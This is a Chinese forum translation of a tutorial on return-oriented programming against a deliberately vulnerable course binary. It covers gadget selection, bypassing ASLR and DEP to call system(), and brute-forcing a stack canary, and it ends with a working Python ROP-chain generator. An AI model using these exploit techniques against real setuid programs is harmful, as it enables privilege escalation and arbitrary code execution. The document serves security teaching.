首页
论坛
专栏
课程

[翻译]返回导向编程实例入门

buusc
1
2018-1-5 23:09 1212

返回导向编程实例入门

我在伯克利大学的计算机安全课上接触了基础的栈溢出利用(具体题目在)。有栈溢出漏洞的程序名为dejavu,它的代码如下:

void deja_vu() {
    char door[8];
    gets(door);
}

int main() {
    deja_vu();
}

题目仅要求在不启用ASLR(地址空间配置随机加载),DEP(数据执行保护)和Stack Canaries(通过监测一个放置于栈缓冲区后的随机值是否被修改来判定栈是否出现了溢出)这几个常见的溢出保护措施的情况下利用这个漏洞,这自然不难做到,但如果我们启用了它们又该如何成功呢?我将展示如何使用一个ROP(返回导向编程)链来击败这些保护措施。

绕过 ASLR 和 DEP

我们先来对付ASLR和DEP。因为dejavu并未使用PIE保护 (位置独立的可执行程序),它的.text segment并不会在内存中被随机加载。这种情况下我们可以通过使用ROP链来同时绕过ASLR和DEP。步骤如下:

  1. 把libc库中的system函数的地址放在栈上。
  2. 把字符串"s/kernel/rtsig-max"的地址放在栈上 。
  3. 让栈指针esp指向"s/kernel/rtsig-max"。
  4. 让edx指向&system。
  5. 执行call [edx]。

这等同于执行system("s/kernel/rtsig-max"),也就是说dejavu会用setuid权限运行位于s/kernel/rtsig-max相对路径的文件。我们只需把自己的代码放在s/kernel/rtsig-max,然后通过执行system函数来调用它就能运行了。"s/kernel/rtsig-max"这个字符串是我随便挑选的;任和存在于libc里可被判定为相对路径的字符串都可以被选用。

 

当然,我们也可以将常用的"/bin/sh"路径放到栈上,但这会使我们的攻击手段更复杂,这里就先不细讲了。

返回导向编程简介

返回导向编程的核心原理是将许多"零件"的地址放在栈上,每个零件都是一段在可访问内存里的(通常较短的)汇编指令,以ret结束。当ret被执行时,栈上下一个零件的地址会从栈上弹出放入eip,那里的汇编指令就会被执行直至ret,再执行下一个零件以此类推。我们管这些零件叫做gadgets;我们的目的就是通过连接一串gadgets来执行我们想要的命令,而这串gadgets就是我们所用的ROP链。

 

总的来说,通过ROP我们可以连续跳跃至任意个以ret结尾的指令段,只要指令段中没有会大幅影响栈的指令。常见的会影响栈的指令是leave和任何会大幅改动esp的指令。

 

我们可以使用工具帮助我们寻找执行文件中的gadgets。这十分有用,因为有时gadgets甚至隐藏在其他指令中(同样的十六进制代码根据断句位置不同会成为不同的汇编指令)。一个常见的gadgets搜索工具是ROPgadget,它的用法如下。

$ python ROPgadget.py --binary ../dejavu --badbytes 0a
...
Unique gadgets found:86
找到86个独特gadgets

由于我们不能向gets函数写入换行符,我们将换行符0x0a设为"坏字节"以避免含有0x0a的指令段(但我们可以写入NULL)。我们找到了不少gadgets,但大多没什么卵用。我将我们会用到的过滤了出来:

0x0804841c : dec ecx ; ret
0x0804835e : add dh, bl ; ret
0x0804857b : call dword ptr [edx]
0x080482d2 : pop ebx ; ret
0x080482bb : ret

注意一下最后一个gadget,它相当于ROP中的nop指令:它的作用仅是将esp增加4个字节并访问下一个gadget。我们之后会看到它的用途。

执行攻击

我们在接下来的部分会经常参考下面这段dejavu程序的反汇编,省略了dejavu调用的libc库的部分。

deja_vu:
   0x0804840c <+0>:         push   ebp
   0x0804840d <+1>:         mov    ebp,esp
   0x0804840f <+3>:         sub    esp,0x28
   0x08048412 <+6>:         lea    eax,[ebp-0x10]
   0x08048415 <+9>:         mov    DWORD PTR [esp],eax
   0x08048418 <+12>:        call   0x80482f0 <gets@plt>
   0x0804841d <+17>:        leave
   0x0804841e <+18>:        ret

main:
   0x0804841f <+0>:         push   ebp
   0x08048420 <+1>:         mov    ebp,esp
   0x08048422 <+3>:         and    esp,0xfffffff0
   0x08048425 <+6>:         call   0x804840c <deja_vu>
   0x0804842a <+11>:        mov    eax,0x0
   0x0804842f <+16>:        leave
   0x08048430 <+17>:        ret

我们来看看程序执行至deja_vu+18时栈的布局(在ret被执行之前)。大概是这样:

/---------------------\
|        . . .        |
|  saved return addr. |  <--- esp
|        . . .        |
|        door         |  <--- eax, edx
|        . . .        |
|        . . .        |
|        . . .        |
|      libc\_end      |  <--- ecx
|        . . .        |
|       system        |  <--- 我们想调用这个地址
|        . . .        |
|     libc\_start     |  <--- ebx
|        . . .        |
|        . . .        |
|        . . .        |
|    dejavu .text     |
\---------------------/

虽然libc在内存中的位置是随机的,但ebx和ecx会在动态加载器解析gets@plt的调用时泄露关于libc地址的信息。这个具体原理有些复杂,这篇文章先不深入讨论。

 

另一方面,虽然libc的绝对地址会因ASLR被随机化,其中各个指令的相对地址并不是随机的。比如,system函数永远都位于libc_end 的0x168494个字节之前 。如上图所示,ecx指向libc_end,那么为了调用system我们需要把ecx的值减少0x168494。

 

我们如何能减少ecx的值呢?这个能将ecx减少1的gadget看起来很有前途:

0x0804841c : dec ecx ; ret

我们需要调用这个gadget 0x168494次才能把ecx的值调整为system函数的地址,也就需要将这个gadget的地址放在栈上0x168494次,可我们可用的栈空间似乎远比这少。

 

我们可以通过返回main来解决这个问题。因为gcc会以16字节为间隔将栈对齐,所以每次我们调用main都会获得额外的栈空间。下图为main+3(用于对齐栈的and esp,0xfffffff0)执行前栈的样子:

/---------------------\
|        . . .        |
|       4 bytes       |  <--- 旧 esp
|         sfp         |  <--- esp, ebp
|       4 bytes       |
|       4 bytes       |
|       4 bytes       |  <--- esp & 0xfffffff0
|        . . .        |
\---------------------/

在我们调用main之后,程序会再次调用有溢出漏洞的deja_vu函数。我们只需继续重复调用main就可以获得更多的栈空间,直至有足够空间来放置0x168494个将ecx减少1的gadget。因为每次调用gets函数都会覆盖旧的ecx,我们必须连续完成所有对ecx的减少。

 

我们再用同样的方法将"s/kernel/rtsig-max"字符串的地址放到栈上。

 

在将ecx指向system函数的地址后,我们需要想办法调用这个地址。我们有个会执行call dword ptr [edx] 的gadget,所以若是能把ecx的值放入edx就能调用system了。我找到的唯一可用的能将ecx放上栈的指令是位于_start函数里的push ecx指令。_start是操作系统在调用main之前调用的一个函数,它的主要作用是加载libc库并开始程序的正常运行。

_start:
       0x08048320 <+0>:     xor    ebp,ebp
       0x08048322 <+2>:     pop    esi
       0x08048323 <+3>:     mov    ecx,esp
       0x08048325 <+5>:     and    esp,0xfffffff0
       0x08048328 <+8>:     push   eax
       0x08048329 <+9>:     push   esp
       0x0804832a <+10>:    push   edx
       0x0804832b <+11>:    push   0x80484b0
       0x08048330 <+16>:    push   0x8048440
       0x08048335 <+21>:    push   ecx
       0x08048336 <+22>:    push   esi
       0x08048337 <+23>:    push   0x804841f
       0x0804833c <+28>:    call   0x8048310 <__libc_start_main@plt>
       0x08048341 <+33>:    hlt

为了能让程序正常运行并将ecx的值推上栈,我们需要跳到_start+9。我们其实可以跳到_start+5和_start+11间的任何指令,但这会破坏我们栈的对齐并增加攻击难度。

 

我们知道,gets函数的返回值(所写入的字符串的地址)存在edx寄存器里。我们可以通过些算术将edx的值指向system。我们有个使用ebx的值来增加edx的gadget:

0x0804835e : add dh, bl ; ret

如果你对于x86寄存器的印象有点模糊,请看下图。

/------------------------\
|          edx           |
|           |     dx     |
|           |  dh  |  dl |
\------------------------/

edx指的是整个32位寄存器,而相对的dx则指的是edx的16个低位字节。同理,dh和dl则相应指的是dx的8个高位字节和8个低位字节。也就是说,这个gadget允许我们随意更改edx中间的8位字节。要注意的是,我们只能更改dh的值,而不能通过"溢出"来更改edx寄存器更高位的值。

 

我们还有个能将栈顶的值弹出至ebx的gadget,所以我们可以完全控制bl:我们可以把任意所需值放在栈上,然后通过pop弹出至ebx。

 

由于edx的值是door缓冲区的地址(这个地址是gets函数的返回值),我们可以通过改变栈指针来调整door也就是edx的地址。通过上面所展示的返回main的方法,我们可以调整栈指针直到edx指向我们从ecx推到栈上的system函数的地址。

 

现在我们需要将栈指针与我们存有可执行文件路径的地址对齐,并以它为参数调用system。我们可以通过之前提到的ROP的nop gadget来完成这步:

0x080482bb : ret

几个nop之后,我们的栈指针就正确地指向了我们需要的地址。我们最后用call dword ptr [edx]的gadget来调用system函数,并结束我们的ROP链。

 

要注意的是,gets会自动用NULL覆盖参数的最后一个字节,以防提供的字符串参数并未以NULL结束。因为我们对gets的写入以我们的执行文件的路径结束,它的最低位字节会被0x00覆盖(这也是为什么我们选了一段已经被用于字符串的数据来当system的参数,因为字符串本身就已0x00结尾)。

 

现在我们就进入了ret2libc的状况(返回导向至libc):我们能调用system函数,并控制它的地址参数。这会使dejavu以自身权限运行我们的程序,我们就能执行任意代码了。

破解 Stack Canaries

假设我们也启用了stack canaries。这会使我们攻击的难度提升多少?

 

我们可以通过暴力破解来击败这个保护。在Debian的操作系统环境下,stack canary的最小有效字节是固定的0x00,所以我们只有24 bits的熵。我们可以以0x41414100这个常量设为stack canary,然后重复运行dejavu直至攻击成功(当系统选用的stack canary碰巧也是0x41414100时)。

 

在常见环境下,一个使用syscall的高效C程序每秒可以进行约2500次系统调用,那这个情况下大约我们需要大约1.2小时来破解stack canary。

最终成果

最终使用的ROP链如下。我们可以根据需要添加自动建立所需文件夹和可执行文件的功能,或暴力破解stack canaries的功能。

#!/usr/bin/env python2
# ropchain.py
from struct import pack

p = lambda n: pack("<I", n)
sc = []

PAD = 'A' * 20
DEC_ECX = p(0x0804841c)
RET_MAIN = p(0x0804841f)
RET_START = p(0x08048320 + 9)
POP_EBX = p(0x080482d2)
ADD_DH_BL = p(0x0804835e)
CALL_STAR_EDX = p(0x0804857b)
ROP_NOP = p(0x080482bb)
NEWLINE = '\n'

GET_16B = PAD + RET_MAIN + NEWLINE

OFFSET_BINARY = 0x450c4
OFFSET_SYSTEM = 0x168494

def load_libc_address(offset):
    sc.extend([GET_16B] * ((offset + 3) / 4))

    sc.append(PAD)
    sc.extend([DEC_ECX] * offset)
    sc.append(RET_START)
    sc.append(NEWLINE)

load_libc_address(OFFSET_SYSTEM) 
load_libc_address(OFFSET_BINARY) 

sc.extend([GET_16B] * 3)

sc.append(PAD + POP_EBX + p(1))
sc.append(ADD_DH_BL)
sc.extend([ROP_NOP] * 15)    
sc.append(CALL_STAR_EDX)
sc.append(NEWLINE)

print(''.join(sc))

原作者:Keyhan Vakil
原文:http://www.kvakil.me/posts/ropchain/
本文由 看雪翻译小组 buusc 编译



[推荐]十年磨一剑!《加密与解密(第4版)》上市发行

最新回复 (0)
返回